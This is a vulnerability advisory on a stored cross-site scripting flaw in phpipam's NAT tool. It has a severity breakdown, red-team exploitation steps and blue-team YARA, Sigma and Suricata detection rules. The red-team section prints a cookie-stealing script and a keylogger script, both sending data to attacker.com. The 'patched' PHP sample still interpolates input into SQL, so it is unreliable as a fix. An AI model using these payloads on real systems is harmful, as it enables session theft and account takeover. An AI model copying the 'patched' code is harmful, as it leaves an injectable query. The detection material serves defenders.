CVE-2024-10723

Executive Summary

CVE-2024-10723 is a stored cross-site scripting (XSS) vulnerability identified in phpipam version 1.5.2. The flaw resides in the NAT tool's destination address field, allowing an authenticated attacker with low privileges to inject malicious scripts. When a user interacts with the affected field, the injected script executes in the context of the victim's browser. This can lead to cookie theft, account takeover, or redirection to malicious sites. The vulnerability has been addressed in version 1.7.0. Despite a low CVSS score of 3.5, the risk is elevated in multi-tenant environments where users share the IPAM platform.

CVSS Breakdown & Threat Level

• CVSS Score: 3.5 (Low)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low
• User Interaction: Required
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Low (official), but Medium in shared/hosted environments due to potential for lateral movement and credential harvesting.

Deep Dive & Mechanics

The vulnerability exists in the NAT tool module of phpipam, which allows users to manage network address translation rules. The destination address field is not properly sanitized before being stored in the database and later rendered in the browser. An attacker can inject arbitrary HTML and JavaScript into this field. When an administrator or another user views the NAT rule list or edits the rule, the injected script executes.

Attack Flow:

1. Attacker logs in with low-privileged credentials.
2. Attacker creates or edits a NAT rule, inserting a payload like <script>alert('XSS')</script> into the destination address field.
3. The payload is stored in the database without sanitization.
4. When a victim (e.g., admin) views the NAT rules, the script executes in their browser.
5. The script can steal session cookies, perform actions on behalf of the victim, or redirect to a phishing page.

Root Cause: Lack of output encoding and input validation on the destination address field in the NAT tool.

Vulnerable vs. Patched Code

Vulnerable Code (phpipam 1.5.2):

// In app/nat/class.NAT.php or similar
$destination = $_POST['destination'];
// Directly stored without sanitization
$query = "INSERT INTO nat_rules (destination) VALUES ('$destination')";

Patched Code (phpipam 1.7.0):

// Sanitize input using htmlspecialchars or similar
$destination = htmlspecialchars($_POST['destination'], ENT_QUOTES, 'UTF-8');
$query = "INSERT INTO nat_rules (destination) VALUES ('$destination')";

The patch ensures that any HTML/JavaScript in the input is encoded, preventing execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• phpipam 1.5.2 instance
• Low-privileged user account
• Access to NAT tool

Exploitation Steps:

1. Log in as a low-privileged user.
2. Navigate to Administration > NAT.
3. Click Add NAT rule.
4. In the Destination address field, enter:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

5. Save the rule.
6. Wait for an admin to view the NAT rules list. The script will execute, sending the admin's cookies to the attacker's server.

Alternative Payload (Keylogger):

<script>
document.onkeypress = function(e) {
    fetch('https://attacker.com/log?key=' + e.key);
}
</script>

Blue Team

Detection Steps:

1. Monitor for unusual NAT rule creation events, especially from low-privileged users.
2. Inspect NAT rule destination fields for HTML tags or JavaScript patterns.
3. Review web server logs for requests to /app/nat/ with suspicious POST parameters.
4. Use the detection rules below to identify exploitation attempts.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled domains from phpipam server.
  • POST requests to /app/nat/ with destination parameter containing <script> tags.
• Host IOCs:
  • Database entries in nat_rules table with destination field containing HTML/JavaScript.
  • Web server logs showing destination=<script> in POST data.
• File IOCs:
  • Modified phpipam files (if attacker uploads webshell via XSS).

Detection Engineering

YARA Rule

rule CVE_2024_10723_phpipam_XSS {
    meta:
        description = "Detects stored XSS payloads in phpipam NAT destination fields"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-10723"
    strings:
        $xss_payload = /<script[\s>]/ nocase
        $onerror = /onerror\s*=/ nocase
        $onload = /onload\s*=/ nocase
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in phpipam NAT Tool
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS attempts in phpipam NAT destination field
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/app/nat/'
        cs-uri-query|contains: 'destination='
        cs-uri-query|re: '(<script|onerror|onload)'
    condition: selection
falsepositives:
    - Legitimate use of HTML in NAT descriptions (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-10723 phpipam Stored XSS Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/app/nat/"; http_uri;
    content:"destination="; http_client_body;
    pcre:"/(<script|onerror|onload)/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-10723;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade phpipam to version 1.7.0 or later.
2. If upgrade is not possible, apply a virtual patch using a WAF to block <script> tags in NAT destination fields.
3. Review and sanitize existing NAT rules for any injected scripts.

Long-term Measures:

• Implement input validation and output encoding for all user-supplied fields.
• Enforce Content Security Policy (CSP) headers to mitigate XSS impact.
• Conduct regular security audits of phpipam instances.
• Restrict NAT tool access to trusted administrators only.

Workaround:

• Disable the NAT tool module if not in use.
• Use a reverse proxy to filter malicious payloads.

Valters IT